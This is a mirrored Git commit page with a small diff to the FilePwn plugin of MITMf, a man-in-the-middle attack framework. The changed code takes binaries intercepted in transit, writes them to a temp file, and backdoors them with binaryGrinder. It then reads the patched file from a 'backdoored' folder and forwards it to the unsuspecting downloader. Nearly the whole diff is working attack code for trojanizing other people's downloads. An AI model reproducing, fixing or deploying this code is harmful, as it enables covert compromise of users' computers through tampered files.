mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-20 05:23:28 -07:00
fixed error when patching binaries
This commit is contained in:
parent
bf4331a1a3
commit
52c636a50d
1 changed files with 12 additions and 3 deletions
|
@ -278,9 +278,18 @@ class FilePwn(Plugin):
|
||||||
return {'request':request,'data':bd_zip}
|
return {'request':request,'data':bd_zip}
|
||||||
|
|
||||||
elif content_header in self.binaryMimeTypes:
|
elif content_header in self.binaryMimeTypes:
|
||||||
print "[+] Detected supported binary type!"
|
print "[+] Detected supported binary type!"
|
||||||
bd_binary = self.binaryGrinder(data)
|
fd, tmpFile = mkstemp()
|
||||||
return {'request':request,'data':bd_binary}
|
with open(tmpFile, 'w') as f:
|
||||||
|
f.write(data)
|
||||||
|
|
||||||
|
patchb = self.binaryGrinder(tmpFile)
|
||||||
|
|
||||||
|
if patchb:
|
||||||
|
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
|
||||||
|
os.remove('./backdoored/' + os.path.basename(tmpFile))
|
||||||
|
print "[*] Patching complete, forwarding to user."
|
||||||
|
return {'request':request,'data':bd_binary}
|
||||||
|
|
||||||
else:
|
else:
|
||||||
print "[-] File is not of supported Content-Type: %s" % content_header
|
print "[-] File is not of supported Content-Type: %s" % content_header
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue